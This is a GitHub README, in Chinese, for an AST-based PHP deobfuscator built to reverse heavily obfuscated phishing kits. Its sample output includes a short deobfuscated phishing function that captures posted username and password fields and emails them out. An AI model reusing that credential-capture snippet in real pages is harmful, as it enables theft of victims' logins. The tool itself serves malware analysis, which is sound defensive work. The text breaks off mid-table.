bl4d3rvnner7/php-deobfuscator
GitHub: bl4d3rvnner7/php-deobfuscator
一款基于 AST 的 PHP 解混淆工具,用于逆向分析钓鱼工具包及重度混淆的恶意代码,将其还原为干净可读的源文件。
Stars: 1 | Forks: 0





# 🧬 php-deobfuscator - 通用 PHP Deobfuscator
**一个基于 AST 的 PHP 解混淆工具,专门用于破解钓鱼工具包所使用的 `${"\x47\x4c\x4f\x42\x41\x4c\x53"}[...]` / `$GLOBALS["key"]` 可变变量混淆。**
它会解码十六进制/八进制转义字符串,折叠常量表达式,将间接的可变变量查找解析回真实名称,剥离无用的诱饵赋值,并美化输出干净、可运行的 PHP 代码。
该工具基于 **nikic/php-parser v5.x** 构建,因此它是在真实的语法树上运行,而不是依赖脆弱的正则表达式查找和替换。
非常适合用于逆向工程、恶意软件分析、钓鱼工具包分类以及理解混淆的 PHP 代码。

## 📑 目录
- [本工具针对的混淆](#the-obfuscation-this-targets)
- [功能](#features)
- [环境要求](#requirements)
- [安装](#installation)
- [用法](#usage)
- [基本命令](#basic-commands)
- [示例](#examples)
- [输出示例](#sample-output)
- [控制台报告](#console-report)
- [生成的 Docblock](#generated-docblocks)
- [工作原理](#how-it-works)
- [待办事项](#todo)
- [疑难解答](#troubleshooting)
- [贡献](#contributing)
- [免责声明](#disclaimer)
- [许可证](#license)
- [支持](#support)
- [链接](#links)
## 本工具针对的混淆
如果你正在对钓鱼工具包进行逆向工程,并且源代码看起来像这样——一整面由十六进制转义的 `$GLOBALS` 键组成的墙,用于提供可变变量查找——那么这个工具就是为你准备的:
```
_deobfuscated.`,保留原始扩展名
- [x] **对 CI 友好** - 在管道输出或设置了 `NO_COLOR` 时自动关闭颜色
- [x] **迭代执行** - 重复运行处理步骤,直到 AST 不再改变(可处理嵌套层)
## 环境要求
- PHP **7.1+**(推荐 PHP 8.x)
- [nikic/php-parser](https://github.com/nikic/PHP-Parser) **v5.x**
```
composer require nikic/php-parser
```
## 安装
```
# Clone repository
git clone https://github.com/bl4d3rvnner7/php-deobfuscator.git
cd php-deobfuscator
# 安装 parser dependency (创建 vendor/autoload.php)
composer require nikic/php-parser
# 可选:全局安装
sudo ln -s "$(pwd)/universal-deobfuscator.php" /usr/local/bin/php-deobfuscator
```
## 用法
### 基本命令
| 命令 | 描述 |
|---------|-------------|
| `php universal-deobfuscator.php input.php` | 解混淆 → `input_deobfuscated.php` |
| `php universal-deobfuscator.php input.php out.php` | 解混淆并输出到自定义文件 |
| `php universal-deobfuscator.php --doc input.php` | 同时生成启发式 Docblock |
| `php universal-deobfuscator.php --merge input.php` | 优先内联本地的 `include`/`require` 文件 |
| `php universal-deobfuscator.php --color input.php out.php` | 即使在重定向时也强制开启彩色输出 |
| `php universal-deobfuscator.php --help` | 显示用法 |
标志可以自由组合,例如 `--merge --doc`。
### 示例
```
# 基本解混淆 (自动输出文件名,同文件夹,同扩展名)
php universal-deobfuscator.php index.php
# 自定义输出路径
php universal-deobfuscator.php 'phishing_kit/ys/index.php' clean.php
# 在每个函数/方法上方添加自动生成的 docblocks
php universal-deobfuscator.php --doc index.php
# 多文件:在 helpers/config 文件中定义的 keys,在 index.php 中使用
php universal-deobfuscator.php --merge 'phishing_kit/ys/index.php' clean.php
# 一次性全部执行:合并 includes,解包 packers,添加 docblocks
php universal-deobfuscator.php --merge --doc index.php
# 适用于任何扩展名;输出保留该扩展名
php universal-deobfuscator.php login.phtml # -> login_deobfuscated.phtml
# 禁用日志 / CI 的颜色
NO_COLOR=1 php universal-deobfuscator.php index.php
```
## 输出示例
### 控制台报告
```
PHP Deobfuscator
------------------------------------------------
[*] Input: index.php (31.92 KB)
[*] Merged: 4 files (main.php, block4.php, country.php, index.php)
------------------------------------------------
Transformations
[+] Constants folded/decoded 128
[+] Eval-packers unwrapped 2
[+] Indirect refs resolved 96
[+] $GLOBALS decoys removed 74
[+] Dead local assigns removed 41
[+] Docblocks generated 7
passes run: 4
removed vars: $xjzriqum, $kwpthywr, $duwqkzbk, $ctwsktz (+37 more)
------------------------------------------------
[+] Saved: ./index_deobfuscated.php
31.92 KB -> 14.12 KB (56% smaller)
```
### 生成的 Docblock
使用 `--doc` 时,每个函数都会根据其函数体获得一份推断出的启发式摘要——非常适合用于快速定位工具包捕获和窃取凭证的位置:
```
/**
* Handles POST input in capture_login().
*
* Side effects: sends email (mail); sends HTTP headers / redirects; reads or writes session data.
*
* Captured fields: xpass, xuser.
*/
function capture_login()
{
$ID = $_POST["xuser"];
$PW = $_POST["xpass"];
$_SESSION["xusername"] = $ID;
$_SESSION["xpassword"] = $PW;
mail($to, "creds", $ID . ":" . $PW);
header("Location: thankyou.php");
}
```
**Captured fields**(捕获的字段)行列出了函数读取的 `$_POST` / `$_GET` / `$_COOKIE` / `$_FILES` 确切键名——这是映射工具包窃取内容的最快方法。
## 工作原理
脚本首先对文件进行一次解析,然后每轮运行一个由多个 AST 处理步骤组成的小型 pipeline,重复执行直到没有任何变化为止:
0. **合并(可选,`--merge`)** - 在执行任何其他操作之前,递归地将带有字面路径的本地 `include`/`require` 目标内联到一个组合源码中,以便在其他文件中定义的键能够被解析。循环引用以及缺失、动态或 URL 路径将被跳过。
1. **解析** - `nikic/php-parser` 构建 AST。字符串字面量中的十六进制/八进制转义符会在这里被安全且免费地解码。
2. **常量折叠** - 常量字符串拼接和纯解码函数调用(`chr`, `base64_decode`, `str_rot13`, `strrev`, `gzinflate`, `gzuncompress`, `hex2bin`)会被折叠为字面量。
3. **Packer 解包** - 一旦折叠操作将 `eval(gzinflate(base64_decode(...)))` 的参数变成了 PHP 字符串字面量,该字符串就会被编译,并且其语句会被拼接到原来 `eval` 的位置。非 PHP 或无法解析的 payload 将保持不变。
4. **收集** - 记录整个文件中对普通变量或 `$GLOBALS["key"]` 的每一个常量字符串赋值,包括单赋值传播(`$GLOBALS["a"] = $GLOBALS["b"]`)。
5. **解析** - `${$GLOBALS["key"]}` 和 `${$var}` 引用会被重写为它们真实的 `$names`,随之变得多余的 `$GLOBALS["key"] = "name";` 代码行将被删除。
6. **死代码清理** - 它会重新计算重写后的语法树上的变量读取次数;任何仅作为间接名称使用(且在其他地方未被读取)的辅助变量,其赋值都会被移除。如果变量在其他地方被真正使用,它将被保留——逻辑永远不会被改变。
7. **Docblock(可选,`--doc`)** - 最后一次处理会检查每个函数/方法,并在其前面添加生成的摘要,包括捕获的输入字段名称。
8. **打印** - 标准的 pretty-printer 会输出干净的、符合 PSR 风格的 PHP 代码。
因为它是在 AST 上操作的,所以它不会像经典的基于正则表达式的解混淆器那样,因为碰巧包含 `{`、`}` 或反斜杠数字序列而破坏字符串内容。
## 待办事项
### 已完成
* [x] 基于 AST 的十六进制/八进制解码
* [x] 常量折叠(拼接 + 纯解码函数)
* [x] `$GLOBALS` / `${$var}` 可变变量解析
* [x] 无用诱饵赋值移除
* [x] 启发式 Docblock 生成 (`--doc`)
* [x] 每个函数捕获的字段名称(例如 "Captured fields: xuser, xpass")
* [x] Eval packer 解包 (`eval(gzinflate(base64_decode(...)))`)
* [x] 多文件合并(`--merge` 跟随 `include`/`require` 以解析跨文件的键)
* [x] 针对 `$GLOBALS["a"] = $GLOBALS["b"]` / `$x = $GLOBALS["a"]` 链的常量传播
* [x] 彩色、适配 CI 的控制台报告
### 计划中
* [ ] 更多的 packer 模式(ROT/XOR 字符串表,`create_function`,`assert` payload)
* [ ] 可选的独立分析报告(窃取端点、重定向)作为单独的标志
* [ ] 反编译提示 / 部分控制流简化
### 已知限制
* 动态赋值的键(`$GLOBALS[$x] = $y`)或在运行时构建的键无法进行静态解析
* 常量传播是刻意保守的:赋值超过一次的变量永远不会被传播(最后写入优先对于静态工具来说是有歧义的)
* `--merge` 只会内联具有字面本地路径的 `include`/`require`;根据设计,URL wrapper 和动态路径将被忽略
* Docblock 只是用于验证的启发式提示,并非权威文档
## 疑难解答
| 问题 | 解决方案 |
|-------|----------|
| `Call to undefined method ParserFactory::create()` | 你使用的是 php-parser **v5**;此工具已经使用了 v5 API。请确保你拉取了最新的 `universal-deobfuscator.php`。 |
| `require_once vendor/autoload.php` 失败 | 在工具所在目录下运行 `composer require nikic/php-parser`。 |
| 输出中仍然显示 `${$GLOBALS["..."]}` | 该键可能存在于一个被包含的文件中——请使用 `--merge` 重新运行。如果仍然存在,说明该键是动态分配的;请参阅[已知限制](#known-limitations)。 |
| 打印出 `Parse error`,输出未改变 | 输入的内容不是有效的 PHP(粘贴被截断、缺少 `
标签:DAST, DNS 反向解析, ffuf, odt, OpenVAS, PHP, 云资产清单, 代码解混淆, 恶意软件分析, 抽象语法树, 搜索语句(dork), 自动化payload嵌入, 逆向工程